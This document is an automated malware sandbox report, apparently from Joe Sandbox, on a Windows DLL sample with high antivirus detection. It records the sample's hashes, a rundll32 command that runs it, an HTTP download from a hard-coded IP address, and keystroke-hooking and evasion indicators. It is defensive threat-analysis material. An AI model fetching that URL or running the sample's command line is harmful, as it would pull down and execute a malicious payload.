Analysis Report sample3.bin

ID:	339445
Product:	CloudBasic
Start time:	03:57:54
Start date:	14.01.2021
Sample:	sample3.bin
Cookbook:	default.jbs
System description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Architecture:	WINDOWS
MD5:	b4164149ffc43c2bf55cb66922e738b0
SHA1:	78c01aa4f88d35acfbc3d7142232cd1aa7682a6e
SHA256:	800e1192e5ec3d2d9b17a3e2d8996cadbdd96ac6d8c59dfcf989264a956eb8d4
Filetype:	Win32 Dynamic Link Library (generic) (1002004/3) 99.60%

Name	Type	MD5	SHA1	SHA256

AV Detection:

Multi AV Scanner detection for submitted file

Source: sample3.dll	Virustotal: Detection: 56%			Perma Link
Source: sample3.dll	ReversingLabs: Detection: 68%

Compliance:

Uses 32bit PE files

Source: sample3.dll

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL

Contains modern PE file flags such as dynamic base (ASLR) or NX

Source: sample3.dll

Static PE information: NO_SEH, DYNAMIC_BASE, NX_COMPAT

Networking:

Internet Provider seen in connection with other malware

Source: Joe Sandbox View

ASN Name: DIGITALOCEAN-ASNUS DIGITALOCEAN-ASNUS

Uses a known web browser user agent for HTTP communication

Source: global traffic

HTTP traffic detected: GET /campo/z/z HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 207.154.235.218Connection: Keep-Alive

Connects to IPs without corresponding DNS lookups

Source: unknown	TCP traffic detected without corresponding DNS query: 207.154.235.218
Source: unknown	TCP traffic detected without corresponding DNS query: 207.154.235.218
Source: unknown	TCP traffic detected without corresponding DNS query: 207.154.235.218
Source: unknown	TCP traffic detected without corresponding DNS query: 207.154.235.218
Source: unknown	TCP traffic detected without corresponding DNS query: 207.154.235.218

Downloads files from webservers via HTTP

Source: global traffic

HTTP traffic detected: GET /campo/z/z HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 207.154.235.218Connection: Keep-Alive

Urls found in memory or binary data

Source: sample3.dll	String found in binary or memory: http://207.154.235.218/campo/z/z
Source: sample3.dll	String found in binary or memory: http://207.154.235.218/campo/z/zC:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Creates a DirectInput object (often for capturing keystrokes)

Source: loaddll32.exe, 00000001.00000002.210657283.000000000105B000.00000004.00000020.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

System Summary:

Uses 32bit PE files

Source: sample3.dll

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL

Classification label

Source: classification engine

Classification label: mal56.evad.winDLL@4/0@0/1

PE file has an executable .text section and no other executable section

Source: sample3.dll

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Reads software policies

Source: C:\Windows\System32\loaddll32.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Runs a DLL by calling functions

Source: unknown

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\sample3.dll,D

Sample is known by Antivirus

Source: sample3.dll	Virustotal: Detection: 56%
Source: sample3.dll	ReversingLabs: Detection: 68%

Spawns processes

Source: unknown	Process created: C:\Windows\System32\loaddll32.exe loaddll32.exe 'C:\Users\user\Desktop\sample3.dll'
Source: unknown	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\sample3.dll,D
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\sample3.dll,D			Jump to behavior

Contains modern PE file flags such as dynamic base (ASLR) or NX

Source: sample3.dll

Static PE information: NO_SEH, DYNAMIC_BASE, NX_COMPAT

PE file contains a debug data directory

Source: sample3.dll

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Data Obfuscation:

Uses code obfuscation techniques (call, push, ret)

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_00F2EB77 push eax; iretd		2_2_00F2EBC2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_00F2EE61 push eax; iretd		2_2_00F2EEE4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_00F2EA91 push eax; iretd		2_2_00F2EBC2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_00F2CE94 pushad ; iretd		2_2_00F2CEB1

Hooking and other Techniques for Hiding and Protection:

Disables application error messsages (SetErrorMode)

Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior

Malware Analysis System Evasion:

Program does not show much activity (idle)

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Anti Debugging:

Program does not show much activity (idle)

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\rundll32.exe

Network Connect: 207.154.235.218 80

Jump to behavior